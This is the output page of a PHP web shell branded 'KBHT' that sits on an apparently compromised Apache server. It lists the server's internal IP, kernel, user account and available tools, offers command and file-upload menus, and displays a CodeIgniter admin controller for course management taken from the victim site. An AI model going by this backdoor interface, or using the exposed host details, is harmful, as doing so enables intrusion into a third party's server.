GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.222.20.3
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/css/../../jobs/application/controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/css/../../jobs/application/controllers/admin/Course.php
<?php

/**
 * Description of User
 *
 * @author Softpro India Pvt. Ltd.
 */
class Course extends CI_Controller {

    //put your code here
    public function __construct() {
        parent::__construct();
        $this->load->model("admin/CourseManagement");
    }

    public function createCourse() {
        if ($this->sessionvalidator->validateSession()) {
            $this->load->view("admin/createCourse");
        } else {
            redirect("admin/");
        }
    }

    public function saveCourse() {
        if ($this->sessionvalidator->validateSession()) {
            $this->form_validation->set_rules("c_name", "course name", "required", array("required" => "Enter Course Name."));
            $this->form_validation->set_rules("c_semesters", "semesters", "required", array("required" => "Enter No. Of Semester."));
            $this->form_validation->set_rules("c_duration", "duration", "required", array("required" => "Enter Course Duration."));
            $this->form_validation->set_rules("c_type", "course type", "required", array("required" => "Select Course Type."));

            if ($this->form_validation->run() == false) {
                $this->createCourse();
            } else {
                $c_name = addslashes(trim($this->input->post("c_name")));
                $c_semester = addslashes(trim($this->input->post("c_semesters")));
                $c_duration = addslashes(trim($this->input->post("c_duration")));
                $c_type = addslashes(trim($this->input->post("c_type")));
                if ($c_duration > 0 && $c_semester > 0) {

                    $courseDetails = array(
                        "c_name" => $c_name,
                        "c_semesters" => $c_semester,
                        "c_duration" => $c_duration,
                        "c_date" => date("Y-m-d"),
                        "c_status" => "T",
                        "c_type"=>$c_type);

                    $courseID = $this->CourseManagement->saveCourse($courseDetails);
                    if ($courseID > 0) {
                        $this->session->set_flashdata("successMessage", "Course Created Successfully.");
                        $this->index();
                    } else {
                        $this->session->set_flashdata("errorMessage", "Failed To Create Course.");
                        $this->createCourse();
                    }
                } else {
                    $this->session->set_flashdata("errorMessage", "Course Semester OR Duration Cannot be zero(0).");
                    $this->createCourse();
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function index() {
        if ($this->sessionvalidator->validateSession()) {
            $viewData["courses"] = $this->CourseManagement->getCourses()->result();
            $this->load->view("admin/courses", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function editCourse($courseid) {
        if ($this->sessionvalidator->validateSession()) {
            $viewData["course"] = $this->CourseManagement->getCourseById($courseid)->result()[0];
            $this->load->view("admin/editCourse", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateCourseDetails() {
        if ($this->sessionvalidator->validateSession() ) {
            $this->form_validation->set_rules("c_name", "course name", "required", array("required" => "Enter Course Name."));
            $this->form_validation->set_rules("c_semesters", "semesters", "required", array("required" => "Enter No. Of Semester."));
            $this->form_validation->set_rules("c_duration", "duration", "required", array("required" => "Enter Course Duration."));
            $this->form_validation->set_rules("c_type", "course type", "required", array("required" => "Select Course Type."));

            if ($this->form_validation->run() == false) {
                $this->editCourse($this->input->post("c_id"));
            } else {
                $c_name = addslashes(trim($this->input->post("c_name")));
                $c_semester = addslashes(trim($this->input->post("c_semesters")));
                $c_duration = addslashes(trim($this->input->post("c_duration")));
                $c_type = addslashes(trim($this->input->post("c_type")));
                if ($c_duration > 0 && $c_semester > 0) {

                    $courseDetails = array(
                        "c_name" => $c_name,
                        "c_semesters" => $c_semester,
                        "c_duration" => $c_duration,
                        "c_type"=>$c_type
                    );

                    $courseID = $this->CourseManagement->updateCourse($courseDetails, $this->input->post("c_id"));
                    if ($courseID > 0) {
                        $this->session->set_flashdata("successMessage", "Course Updated Successfully.");
                        $this->index();
                    } else {
                        $this->session->set_flashdata("errorMessage", "Failed To Update Course.");
                        $this->index();
                    }
                } else {
                    $this->session->set_flashdata("errorMessage", "Course Semester OR Duration Cannot be zero(0).");
                    $this->editCourse($this->input->post("c_id"));
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleCourseStatus($c_id, $changedStatus) {
        if ($this->sessionvalidator->validateSession()) {

            $courseUpdateData = array(
                'c_status' => $changedStatus
            );
            if ($this->CourseManagement->updateCourse($courseUpdateData,$c_id)) {
                $this->session->set_flashdata('successMessage', 'Course Status Updated Successfully.');
                redirect("admin/Course");
            } else {
                $this->session->set_flashdata('errorMessage', 'Failed To Update Course Status.');
                redirect("admin/Course");
            }
        } else {
            redirect("admin/");
        }
    }

}

KBHT - 2023